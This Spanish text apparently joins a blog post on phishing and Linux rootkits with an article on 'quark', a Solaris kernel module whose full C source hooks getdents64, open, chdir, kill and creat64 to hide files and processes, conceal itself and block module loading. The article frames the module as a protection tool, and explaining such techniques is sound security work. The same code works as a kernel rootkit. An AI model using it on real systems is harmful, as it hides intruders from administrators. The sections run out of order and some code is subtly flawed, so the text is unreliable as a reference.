Las técnicas para el Phishing han mejorado mucho. Han mejorado en el idioma, han mejorado en la forma, han mejorado en el envío de mails, y por qué no, si tienen otra fuente desde la que lanzar el ataque, por qué no hacerlo!

Hace poco teníamos un ataque a gran escala. Hablamos de unas 11.000 páginas que aprovechaban vulnerabilidades conocidas en los principales navegadores, entre los que se encontraban IE, Firefox y Opera. La alerta en cuestión es ésta, y se podía encontrar información detallada en el blog de Hispasec, y en ésta otra entrada.

Un Rootkit en Linux funciona de manera similar que en los de Windows. Tenemos Rootkits en modo usuario y modo Kernel. Los que son para la capa de usuario, normalmente suplantan archivos (los troyanizan) o bien, modifican el comportamiento de alguna aplicación. Ejemplos básicos los podríamos tener en la salida de netstat (ocultando puertos), o bien ocultando procesos que estén corriendo en el sistema (ocultando la salida de un ps por ejemplo). Los que son para modo Kernel, añaden código a la zona de Kernel, bien mediante un driver, o bien mediante un módulo.

En kernels antiguos (menor que el 2.5) si alguien lograba privilegios de root en un sistema previamente comprometido, éste tenía bastante facilidad para inyectar módulos directamente en el kernel. A partir del 2.5 (si mi memoria no me falla) se modifican ciertos aspectos del kernel para dificultar este tipo de intrusiones. No obstante, las técnicas de ocultación se han ido modificando, hasta burlar por completo las técnicas de los desarrolladores del Kernel por mitigar este tipo de acciones, y hoy en día, podemos encontrar muchos rootkits para las últimas versiones del kernel de Linux.

Nadie duda de si un sistema Linux es seguro o no, pero hay una cierta (sobrada) creencia de que Linux es superior y más seguro que sistemas basados en Windows, cuando la realidad es bien diferente.

Actualmente hay una gran variedad de Rootkits para Linux, entre los que se encuentran los siguientes:

Adore .- Rootkit basado en LKM (Loadable Kernel Module). Se oculta a sí mismo, procesos y ficheros.

SuckIt .- Oculta procesos, ficheros y conexiones. Se carga en el dispositivo /dev/kmem. Aquí tenéis un análisis del bichito en cuestión

Knark .- Rootkit basado en Kernel (2.2 y 2.4). Oculta procesos, ficheros y puertos.

Otro friend, amigo de los niños y que se llama Amir Alsbih ha empezado a desarrollar otro juguetito para el kernel 2.6, y que va a denominar Project Override.  El proyecto en cuestión lo tenéis aquí. El tío explica el por qué no se debe de estar tranquilo sólo porque se utilice Linux, desmitificando ese pensamiento que parece tener la mayoría de usuarios que utilizan Linux. Su POC esconde los ID de los procesos (también de los procesos hijos) que se necesiten esconder, esconde procesos, asigna privilegios de root a procesos predefinidos, esconde ficheros que empiecen por un determinado prefijo, disfraza puertos de red, etc... Casi nada verdad?

Un rootkit que se instale a nivel de Kernel podrá manipular las llamadas al sistema, y si puede manipular llamadas al sistema, podrá también modificar cualquier aplicación cargada desde la zona de usuario, así que software como Tripwire, aide, Fcheck, etc... no me servirían de NADA en casos como este, ya que podrían estar lanzándome salidas manipuladas previamente por el rootkit.

A partir de aquí edito y añado un poco de flame al asunto, ya que cuando lo iba a publicar, se me ha adelantado la ciudad de los krispis, publicando un artículo que menciona esto mismo, pero restando importancia al asunto sólo porque la charla estaba patrocinada por Microsoft.

Vamos a ver.... Microsoft no patrocinaría jamás una charla en donde se juanquease un equipo suyo no? En esto estamos seguros no?

Joder, pues las BlackHat están patrocinadas por Spectra, y la RutKowska hablando sobre el bluepill (cuando Spectra no tenía decidido qué certificados iba a usar), el último reto forense celebrado por RedIris y la UNAM-CERT también está patrocinado por Spectra, y joder! Se analizaba un 2003 que había sido juanqueado a través del navegador IE!

Pero cuando un informe dice que en Linux también hay línea de negocio para Phishing, rootkits, virus, gusanos, etc... Eso es imposible....

Pero en fin.... Viendo URLS como ésta, o esta otra podríamos decir sin lugar a dudas que Linux es seguro. Y si es inseguro seguramente sea culpa de Spectra. Así que como la ciudad de los Krispis dice que a Linux le corresponde la "jefatura", yo os animo a que toméis el mando de la jefatura y sigáis los dos enlaces anteriores, picando en cada directorio....

Besitos!

El LKM quark

Funcionalidades

El módulo de kernel “quark” está orientado a la protección de nuestros sistemas Solaris frente a ataques que utilicen otros LKMs, además de proporcionar otras funcionalidades como proteger el demonio de log del sistema, ocultar archivos, directorios y procesos, etc.

Para utilizar “quark” en entornos de pruebas, se ha utilizado una opción de compilación (-DDEBUG) mediante la cual el funcionamiento del módulo perderá transparencia con objeto de informar de las modificaciones al sistema que se van realizando en ejecución. Al incluirse esta opción como optativa, podemos usar “quark” tanto para pruebas como en un entorno de producción, sin tener que hacer modificaciones en el código.

El objetivo principal de “quark” es proteger el sistema, por lo que necesita a su vez protegerse a sí mismo para evitar que sus esfuerzos en mantener la integridad del sistema sean deshabilitados. Por ello, “quark” no muestra información acerca de sí mismo a modinfo. Esto evitará que atacantes poco exhaustivos caigan en la cuenta de su presencia (un intruso con paciencia y conocimientos podría delatar su presencia investigando la tabla de símbolos del kernel).

Otra funcionalidad reseñable es la posibilidad de configurar una cadena de caracteres concreta, y todo fichero que la contenga se ocultará a todos los usuarios, siendo invisible incluso para root. Esto puede servirnos para ocultar ficheros o directorios confidenciales, puntos débiles del sistema, etc.

A pesar de ocultarse, alguien podría intuir su presencia y desinstalarlo o instalar un nuevo LKM que invalide la acción de nuestro módulo. Para protegernos de esto, “quark” no permite que se descarguen o se carguen más módulos del sistema. Así, si nos aseguramos de que nuestro módulo se ha cargado antes que un posible módulo atacante, la tabla de peticiones al sistema estará protegida y el mecanismo de carga y descarga de módulos quedará bloqueado.

Todas las funcionalidades comentadas están regidas por el valor de una variable, secureflag, mediante la que definimos si los criterios de seguridad deben aplicarse o no. El valor de esta variable se puede modificar una vez “quark” esté cargado, así que no es necesaria la recarga o compilación del módulo. Por lo tanto, podemos mantener al sistema protegido y cuando sea necesario cargar un nuevo módulo, por ejemplo, deshabilitamos momentáneamente la seguridad, cargamos el módulo y la volvemos a habilitar. Esta forma de funcionar permite aunar seguridad y flexibilidad.

Una de las cosas más típicas que se producen al sufrir un ataque es la pérdida o manipulación de los logs del sistema. Como ya hemos comentado, “quark” puede ser utilizado para proteger determinados ficheros, pero, además, actúa con un cuidado especial a la hora de asegurar el demonio encargado de los logs del sistema (syslogd). Su manera de funcionar es la siguiente: por defecto, el demonio de logs del sistema se ejecutará normalmente y está visible dentro de la lista de procesos. Cuando un atacante trata de detener su ejecución, “quark” simula que esa detención ha tenido éxito y oculta el proceso del demonio. El sistema seguirá generando logs, pero de manera invisible para los usuarios. El intruso en cuestión creerá estar a salvo y obrará de manera menos cautelosa, sin saber que sus pasos están siendo vigilados.

Para que todo esto sea posible, ha sido preciso parchear varias llamadas al sistema, como veremos en la siguiente sección.

Programación

La estructura básica del módulo es muy simple:

• Las funciones y estructuras de datos obligatorias para todo módulo de kernel (_init(), _info(), _fini()).
• Funciones destinadas a suplantar las peticiones al sistema originales.
• Funciones adicionales.

Lo principal dentro de las funciones de carga y descarga del módulo es ser cuidadoso para poder dejar todo como estaba anteriormente a su carga. Por ello, a pesar de que durante la carga del módulo se suplantan varias llamadas al sistema, las funciones originales se guardan en punteros a funciones específicos, para poder restaurarlas durante la descarga del módulo.

Comentemos ahora cada una de las llamadas al sistemas que ha sido necesario suplantar para conseguir las funcionalidades que ofrece “quark”:

• Ocultación de ficheros

En los sistemas UNIX estándar los ficheros y directorios se organizan en función de unas estructuras denominadas dirent. Cuando queremos mostrar el contenido de un directorio, o hacer una búsqueda en el disco duro se hace una petición al sistema (getdents()), por lo tanto, parcheando esa syscall podremos decidir qué se mostrará. En Solaris esto es exactamente igual, con la salvedad de que la syscall utilizada es la versión de 64 bits (getdents64()). La lista de ficheros que devuelve esta petición al sistema es filtrada antes de devolverse al área de usuario, eliminando los ficheros que hayamos creído conveniente.

En “quark” definimos una cadena de caracteres (#define HIDEFILENAME "hide.me") y todos los ficheros o directorios que contengan esa cadena serán eliminados de la salida que se proporcionará a la función que solicitó la información desde el área de usuario.

Para proteger los ficheros y directorios no basta con ocultarlos, en “quark” hemos parcheado también open(), open64() y chdir(). La causa de tener que modificar dos veces open reside en la arquitectura híbrida de Solaris: mientras que muchos programas utilizan ya la versión de open de 64 bits, existen comandos que todavía siguen empleando la versión de 32 bits. Si solamente modificáramos una de las dos, los ficheros podrían ser accedidos por los comandos que utilizasen la otra petición al sistema. Parcheando chdir() evitamos que se accedan a los directorios protegidos. Todas estas modificaciones en la tabla de peticiones al sistema pueden habilitarse y deshabilitarse, así que no es necesario desinstalar el módulo para crear o editar ficheros y directorios que contengan la cadena de caracteres que hay que ocultar. Cuando alguien intente acceder a ellos el sistema devolverá un error, similar a los que devuelve cuando los ficheros no existen, para evitar sospechas (“No such file or directory”).

• Ocultación de procesos

Existen varios métodos para ocultar procesos. Muchos rootkits instalan versiones troyanizadas de los comandos que muestran los procesos del sistema (ps, pgrep, ptree...). Desde un enfoque de módulo de kernel, esto no es necesario, sino que es mucho más efectivo modificar las syscalls y que cualquier comando que las use, proporcione información modificada convenientemente por nosotros.

Plasmoid utilizó en sus primeras aproximaciones a un método de ocultación eficiente una modificación doble: dado que el pseudo sistema de ficheros /proc contiene un fichero por cada proceso con la información del fichero que contiene el ejecutable que desencadenó la creación del proceso y demás información (/proc/<pid>/psinfo), modificando open() y read() para evitar mostrar información acerca de los procesos que queremos ocultar. Esto realmente funciona correctamente, pero supone una gran sobrecarga global para el sistema, ya que open() y read() se utilizan para muchas otras cosas y la comprobación se hace cada vez que se utilizan.

En un análisis más elaborado, el mismo autor diseñó otro enfoque para ocultar procesos: como /proc es un directorio a todos los efectos, comprobamos en getdents() si el fichero que hay que mostrar es un número y, de ser así, si corresponde al descriptor de proceso que queremos ocultar. Cuando esto se produzca, ocultamos el fichero que describe el proceso de la misma manera que ocultábamos los ficheros en la sección anterior.

Nosotros utilizamos este segundo enfoque para ocultar procesos cuando es necesario: al principio ningún proceso permanece oculto, pero cuando es preciso ocultar syslogd, nos aseguramos de que el fichero corresponde al descriptor del proceso de syslogd, y lo ocultamos como si se tratara de un fichero normal.

• Creación de un switch

Todas las funcionalidades de seguridad que aporta “quark” pueden habilitarse y deshabilitarse a voluntad. Utilizando la creación de un fichero con un nombre extraño (#define TOGGLE "quark_LKM") podremos modificar el valor de la variable secureflag durante la ejecución del módulo. Para ello es preciso parchear la petición al sistema encargada de crear ficheros (creat64()). En ella comprobamos si el fichero que nos encargan crear contiene la cadena definida como biestable (TOGGLE) y si es así, variamos el valor de secureflag y generamos artificialmente un mensaje de error.

• Protección de syslogd

Nuestro módulo trata de proteger el demonio del sistema encargado de recoger los logs, impidiendo que un posible atacante detenga su ejecución, y ocultando su presencia cuando alguien lo intente. Necesitamos programar entonces dos mecanismos: uno para detectar un intento de “matar” el proceso relacionado con syslogd, y otro para ocultarlo después de ese intento. Es decir, es preciso parchear la syscall kill(), impidiendo su uso con syslogd y modificando la variable hidesyslogd (encargada de definir si debemos ocultar el proceso o no), y utilizar el método anteriormente explicado para ocultar procesos.

• Protección del sistema contra la carga de módulos

La protección que “quark” proporciona podría verse desbaratada si permitimos la carga de nuevos módulos que sobrescriban los parches que nuestro módulo efectúa en la tabla de peticiones al sistema. Es por esto que “quark”, por defecto, deshabilita la carga de nuevos módulos en cuanto es instalado, modificando la syscall modctl() que es la encargada de gestionar qué módulos de kernel se cargan.

Este hecho podría provocar que una vez instalado, nuestro módulo no pudiera desinstalarse, pero esta funcionalidad también está regida por el “switch” o biestable comentado anteriormente. Cuando queramos agregar un nuevo módulo, modificamos el valor de secureflag, lo cargamos y volvemos a habilitar la protección.

Código fuente

Este código está protegido bajo la Licencia Pública GNU (GPL), es decir, es software libre. Para obtener una copia actualizada de esta licencia, visite http://www.fsf.org.

#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/dirent.h>
#include <sys/proc.h>
#include <sys/procfs.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <sys/modctl.h>
#include <fcntl.h>
#include <unistd.h>

#define	TRUE		1
#define FALSE		0
#define MAXSYSCALLS	256
#define TOGGLE		"quark_LKM"
#define SYSLOGDNAME	"syslogd"
#define HIDEFILENAME	"hide.me"

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc =
{
    &mod_miscops,
#ifdef DEBUG
    "Quark LKM",
#else
    ""
#endif
};

static struct modlinkage modlinkage =
{
    MODREV_1,
    (void *) &modlmisc,
    NULL
};

extern struct sysent sysent[];
static struct sysent sysent_backup[MAXSYSCALLS];

int (*oldcreat64) (const char *path, mode_t mode);
int (*oldkill) (int, int);
int (*oldgetdents64) (int, struct dirent64 *, size_t);
int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldopen) (const char *path, int oflag, mode_t mode);
int (*oldchdir) (const char *path);

char toggle[] = TOGGLE;
char syslogdname[] = SYSLOGDNAME;
char hidefilename[] = HIDEFILENAME;
int secureflag = TRUE;
int hidesyslogd = FALSE;

/*
 * Functions to know if a process is a syslogger, in order to
 * hide it. Code ripped from Plasmoid's sift.c.
 */
int issyslogd(pid_t pid)
{
    proc_t *proc;
    char *psargs;
    int ret;

    proc = (proc_t *) prfind(pid);
    psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);
    if (proc != NULL)
	memcpy(psargs, PTOU(proc)->u_psargs, PSARGSZ);
    else
	return FALSE;

    if (strstr(psargs, (char *) &syslogdname) != NULL)
	ret = TRUE;
    else
	ret = FALSE;

    kmem_free(psargs, PSARGSZ);
    return ret;
}

int checkbyname(char *name)
{
    if (isdigit(name) && issyslogd(myatoi(name)))
	return TRUE;
    else
	return FALSE;
}

int isdigit(char *str)
{
    int i, ret;

    ret = TRUE;
    for (i = 0; ret && i < strlen(str); i++)
	if (str[i] < '0' || str[i] > '9')
	    ret = FALSE;

    return ret;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
	if (*ptr < '0' || *ptr > '9')
	    return (-1);
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    return res;
}

int savesysent()
{
    int i;

    for(i = 0; i < MAXSYSCALLS; i++) {
        memcpy(&sysent_backup[i], &sysent[i], sizeof(struct sysent));
    }
}

int checksysent()
{
    int i, ret;

    ret = FALSE;

    for(i = 0; i < MAXSYSCALLS; i++) {
        if(sysent[i].sy_call != sysent_backup[i].sy_call) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "system call %d has been modified (old: %p new: %p)\n",
                    i, sysent_backup[i].sy_call, sysent[i].sy_call);
#endif
            ret = TRUE;
            sysent[i].sy_call = sysent_backup[i].sy_call;
        }
    }

    return ret;
}

/* NEW FUNCTIONS... */

/*
 * New syscall creat64 in order to set a security toggle
 */
int newcreat64(const char *path, mode_t mode)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) & len);

    if (strstr(namebuf, (char *) &toggle) != NULL) {
	if (secureflag) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: exiting from secure mode");
#endif
	    secureflag = FALSE;
	} else {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: entering into secure mode");
#endif
	    secureflag = TRUE;
	}
        if (checksysent()) {
	    set_errno(ESRCH);
	    return -1;
        }
	set_errno(ENFILE);
	return -1;
    } else
	return oldcreat64(path, mode);
}

/*
 * New syscall kill
 */
int newkill(int pid, int signal)
{
    if (secureflag && issyslogd(pid)) {
#ifdef DEBUG
        cmn_err(CE_NOTE, "quark: not allowing to kill process (%i)", pid);
        cmn_err(CE_NOTE, "quark: process %i hidden", pid);
#endif
        hidesyslogd = TRUE;
	set_errno(ESRCH);
        return -1;
    } else
        return oldkill(pid, signal);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * entering directories that contain the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newchdir(const char *path)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) & len);

    if (secureflag && strstr(namebuf, (char *) &hidefilename) != NULL) {
#ifdef DEBUG
	cmn_err(CE_NOTE, "quark: hiding directory (%s)", namebuf);
#endif
	set_errno(ENOENT);
	return -1;
    } else
	return oldchdir(path);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * reading the content of files containing the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newopen64(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen64(path, oflag, mode);

    if (ret >= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) & len);

	if (secureflag && strstr(namebuf, (char *) &hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

int newopen(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen(path, oflag, mode);

    if (ret >= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) & len);

	if (secureflag && strstr(namebuf, (char *) &hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

/*
 * This function has been recoded from the original source of itf.c
 * by plaguez. It does not work properly with files containing the
 * syslogdname string more than once. Don`t play with it, files containing
 * more than one syslogdname string definitely cause crashes, this bug is
 * even present in the original code.
 * This might sound like a bug, but I don't care, I never came to
 * the situation renaming a file containing the syslogdname word more
 * than once.
 */
int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)
{
    int ret, oldret, i, reclen;
    struct dirent64 *buf2, *buf3;

    oldret = (*oldgetdents64) (fildes, buf, nbyte);
    ret = oldret;

    if (ret > 0) {
	buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP);
	copyin((char *) buf, (char *) buf2, ret);
	buf3 = buf2;

	i = ret;
	while (i > 0) {
	    reclen = buf3->d_reclen;
	    i -= reclen;

	    if ((strstr((char *) &(buf3->d_name), (char *) &syslogdname) != NULL)
                || checkbyname((char *) &(buf3->d_name))
               ) {
#ifdef DEBUG
		cmn_err(CE_NOTE, "quark: hiding file/process (%s)", buf3->d_name);
#endif
		if (i != 0)
/*
		    memmove(buf3, (char *) buf3 + buf3->d_reclen, i);
*/
		    buf3->d_off = 1024;
		else
		    buf3->d_off = 1024;
		ret -= reclen;

	    }
	    if (buf3->d_reclen < 1) {
		ret -= i;
		i = 0;
	    }
	    if (i != 0)
		buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);
	}
	copyout((char *) buf2, (char *) buf, ret);
	kmem_free(buf2, oldret);
    }
    return ret;
}

/* STANDARD LKM FUNCTIONS */

int _init(void)
{
    int i;

    if ((i = mod_install(&modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not install module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully installed");
#endif

    oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;
    oldkill = (void *) sysent[SYS_kill].sy_callc;
    oldgetdents64 = (void *) sysent[SYS_getdents64].sy_callc;
    oldopen64 = (void *) sysent[SYS_open64].sy_callc;
    oldopen = (void *) sysent[SYS_open].sy_callc;
    oldchdir = (void *) sysent[SYS_chdir].sy_callc;

    sysent[SYS_creat64].sy_callc = (void *) newcreat64;
    sysent[SYS_kill].sy_callc = (void *) newkill;
    sysent[SYS_getdents64].sy_callc = (void *) newgetdents64;
    sysent[SYS_open64].sy_callc = (void *) newopen64;
    sysent[SYS_open].sy_callc = (void *) newopen;
    sysent[SYS_chdir].sy_callc = (void *) newchdir;

    savesysent();

    return i;
}

int _info(struct modinfo *modinfop)
{
    return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
    int i;

    if ((i = mod_remove(&modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not remove module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully removed");
#endif

    sysent[SYS_creat64].sy_callc = (void *) oldcreat64;
    sysent[SYS_kill].sy_callc = (void *) oldkill;
    sysent[SYS_getdents64].sy_callc = (void *) oldgetdents64;
    sysent[SYS_open64].sy_callc = (void *) oldopen64;
    sysent[SYS_open].sy_callc = (void *) oldopen;
    sysent[SYS_chdir].sy_callc = (void *) oldchdir;

    return i;
}

Conclusiones

A lo largo de estos dos artículos hemos podido comprobar como Solaris tiene una arquitectura modular, en la que los módulos de kernel son parte fundamental de la potencia y flexibilidad del sistema. Tantas son las posibilidades que este mecanismo proporciona que se ha convertido en los últimos tiempos en un nuevo campo de batalla en cuanto a la seguridad e integridad en sistemas.

Son muchos los esfuerzos tanto por parte de programadores de xploits, rootkits, y LKMs troyanizados, como por la de los coordinadores de proyectos de seguridad como StMichael, Papillon, etc. de explorar este nuevo espacio de acción. Atrás quedaron los días en los que conseguir una escalada de privilegios hasta ser root consistían los objetivos de los primeros, y guardar por que eso no se produzca el de los segundos. Nuestro módulo pretende ser una nueva aportación a este grupo de herramientas de protección.

Este texto puede entenderse como un acercamiento al kernel de Solaris, así como un manual de programación de nuevos LKMs que modifiquen el comportamiento del sistema en beneficio del administrador del mismo. Hemos pretendido ser claros y concisos, sin entrar en detalles que puedan confundir al lector y sin quedarnos en lo meramente superficial.

Por último nos gustaría agradecer la colaboración involuntaria de todos aquellos creadores de LKMs que han hecho esfuerzos por explicar sus progresos, facilitar documentación detallada y redactar artículos explicativos. Esperamos que este texto contribuya a esa lista de documentos que ayuden a otros a crear sus propios módulos.

Referencias

Cuando programé el LKM para Solaris me fijé en todo lo que había desarrollado sobre el tema hasta el momento, muchas de las referencias tienen varios años ya, seguro que cada uno de los autores ha ido renovando sus proyectos y documentaciones, pero aquí están las fuentes:

• Clemens, Jonathan. 9 de junio de 2001. "Knark: Linux Kernel Subversion". Intrusion Detection FAQ. SANS Institute. http://www.sans.org/newlook/resources/IDFAQ/knark.htm
• Foundstone, Inc. 10 de junio de 2001. "Carbonite v1.0 - A Linux Kernel Module to aid in RootKit detection." Foundstone, Inc. http://www.foundstone.com/rdlabs/proddesc/carbonite.html
• FuSyS. 19 de agosto de 2000. "KSTAT - Kernel Security Therapy Anti-Troll". s0ftpr0ject2000. http://www.s0ftpj.org/tools/kstat.tgz
• Halflife. 1 de septiembre de 1997. “Bypassing Integrity Checking Systems”. Phrack Magazine Volume 7, Issue 51, article 09 of 17. http://www.phrack.org/phrack/51/P51-09
• Jensen, Runar. 9 de octubre de 1997"Malicious Linux modules". Bugtraq. http://www.dataguard.no/bugtraq/1997_4/0059.html
• Jones, Andrew R. 12 de junio de 2001. “A Review of Loadable Kernel Modules”. SANS http://rr.sans.org/linux/kernel_mods.php
• Lawless, Timothy. 2 de noviembre de 2000. "Saint Jude, The Model". Version 1.0. SourceForge. http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf
• Lawless, Timothy. 21 de enero de 2002. StMichael_LKM-0.08.tar.gz. SourceForge. http://packetstormsecurity.nl/linux/security/StMichael_LKM-0.08.tar.gz
• McDougall, Richard & Mauro, Jim. 26 de junio de 2001. Solaris Internals Kernel Architecture & Implementation. Sun Microsystems, Inc.
• pIGpEN. 18 de abril del 2000. "LKM Detector". s0ftpr0ject2000. http://www.s0ftpj.org/tools/sec_lkm.c
• Plasmoid/THC. 22 de diciembre de 1999. "Solaris Loadable Kernel Modules". Version 1.0. Packet storm. [http://packetstorm.securify.com/groups/thc/slkm-1.0.html
• RedHat, Inc. 11 de junio de 2001. "Red Hat Linux General Security Advisory". http://www.redhat.com/support/errata/RHSA-2000-108.html
• Reynolds, Patrick. 22 de junio de 2000. "Linux capability bounding set weakness". Bugtraq. http://pweb.netcom.com/~spoon/lcap/bugtraq.txt
• Spoon. "LCAP". 17 de septiembre de 2000. http://pweb.netcom.com/~spoon/lcap/

LKMs (Loadable Kernel Modules)

¿Qué es un LKM?

Un LKM o Loadable Kernel Module es una funcionalidad modular dentro del kernel del Sistema Operativo que puede ser cargada o descargada bajo demanda y permite una mejor utilización de la memoria destinada al kernel dentro de la memoria del sistema.

Como ya sabemos, el kernel de UNIX comenzó siendo un gran ejecutable indivisible, un kernel monolítico. En él estaban incluidas todas las funcionalidades del sistema. Para entornos con altos requerimientos en cuanto a velocidad de sus peticiones al sistema y poca variación de sus características (por ejemplo, sistemas embebidos) esta solución era la mejor, pero los sistemas de propósito general pronto notaron sus carencias. La memoria es un recurso muy preciado y muchas partes del kernel tenían que estar en memoria a pesar de su escaso uso (drivers para dispositivos poco usados, etc.). Resultaba obvio que era necesario modularizar el kernel para hacer un uso más eficiente de la memoria y permitir mayor flexibilidad.

El kernel se dividió en multitud de “piezas” y sólo las piezas que utilizamos en un momento concreto serán las que estén cargadas en memoria. Para ello necesitaremos un gestor de carga y descarga de módulos del kernel, como ya veremos más adelante

¿Para qué se utilizan?

Los LKMs se utilizan principalmente en dos campos:

• Drivers de dispositivos
• Seguridad (IDS, troyanos, etc.)

Tal y como hemos comentado con anterioridad, un sistema con muchos dispositivos diferentes necesita gestionar un gran número de drivers para acceder a ellos, el gasto de memoria sería muy elevado si todos ellos estuvieran dentro de un kernel monolítico. En lugar de esto, mediante LKMs se cargan solamente los que se están utilizando en un preciso momento, y son descargados cuando dejan de utilizarse. Construir un módulo para el manejo de un dispositivo es una tarea relativamente compleja, pero Solaris pretende ayudar a sus usuarios desarrolladores mediante la interfaz DDI/DKI (Device Driver Interface/Driver Kernel Interface).

Su implicación en el campo de la seguridad también es bastante clara: los LKMs son una puerta a la memoria del kernel, por lo que un uso malicioso de ellos podría provocar comportamientos no deseados del sistema. Sin el cuidado adecuado se podría introducir código arbitrario en el kernel, con las consecuencias que ello conllevaría. La diferencia entre la ejecución de código arbitrario como usuario y la introducción de éste en el kernel es abismal: el kernel del sistema actúa como guardián del mismo y decide qué cosas pueden hacerse o no. Si ejecutamos código arbitrario como usuario, aunque sea como superusuario (root), siempre estaremos supeditados a las restricciones propias del kernel, sin embargo, si modificamos el kernel podremos superar esas restricciones, y el único límite entonces estará en los aspectos físicos del sistema. Si permitimos que un atacante modifique el kernel, estaremos dando la posibilidad de fijar las reglas de juego, ocultarse a todos los efectos a todos los usuarios (“root” incluido, como ya hemos dicho) y elaborar un mecanismo para que no sea posible su expulsión del sistema.

¿Cómo se utilizan?

Para utilizar un LKM es necesario cargarlo dentro de la memoria del kernel. Esto no se realiza de forma convencional, existen comandos especiales para la carga y descarga de los módulos del kernel. La mayoría de las funcionalidades del kernel de Solaris también utilizan este método (TCP/IP, SCSI, UFS...), así como herramientas o dispositivos externos (ipf, pppd, drivers de tarjetas de red...), por lo que no debe extrañarnos que exista un procedimiento bien definido para ello.

El proceso de carga y descarga de los módulos lo gestionan dos comandos muy sencillos de utilizar, “/usr/sbin/modload” y “/usr/sbin/modunload”, respectivamente. Antes de cargar un módulo conviene informarnos acerca del resto de módulos cargados, sus características, tamaño y demás, por lo que haremos uso del comando “/usr/sbin/modinfo”. Todos estos comandos tienen sus páginas de manual (“man modinfo”, por ejemplo), por lo que no nos extenderemos en detallar su empleo.

Veamos un ejemplo del proceso:

bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs)
12 fe911e4e    164   -   1  fssnap_if (File System Snapshot Interface) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC) 

bash-2.03# modload quark 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC)
135 e106fe56    1bf   -   1  quark (Quark LKM)

Tal y como hemos visto, cada módulo dispone de un identificativo único (Id), con el que nos referiremos a él en el proceso de descarga, por lo que es importante recordarlo. modinfo, además, nos informa de la dirección de memoria a partir de la cual se ha cargado el módulo, su tamaño en bytes (la suma de sus secciones .text, .data y .bss), el número de información del driver (Info), el número de revisión del módulo y su nombre o descripción. El número de información del driver está en función del tipo de módulo que sea: si se trata de un driver de dispositivo “Info” contendrá un número informativo, pero si el módulo no es un driver, no incluirá este número. Este último tipo de módulos se conocen como misceláneos (“misc”) y es necesario declararlos como tales.

Funcionamiento de un LKM

Una vez cargado, un LKM reside en el área de memoria reservada para el kernel, y es capaz de acceder a las estructuras de datos creadas para la gestión de las llamadas al sistema. En función del uso que quiera darse a un módulo en concreto, éste deberá fijarse en unas u otras estructuras de datos e interrupciones, para poder dispensar el servicio deseado. Así pues, un módulo que haga funciones de driver de dispositivo, deberá estar atento a las peticiones de uso del mismo, a los flujos de datos entre las aplicaciones y el kernel, que es el único que maneja realmente el dispositivo, etc.

Un LKM orientado a la seguridad del sistema funcionará de forma similar, pero sus objetivos serán diferentes. Habrá que fijarse muy de cerca en la tabla de syscalls (como explicaremos posteriormente), los intentos de carga de otros módulos, las peticiones extrañas al sistema por parte de los usuarios, y todas los aspectos importantes en cuanto a registro del comportamiento normal del sistema.

Programación de un LKM

Estructura básica de un módulo de kernel

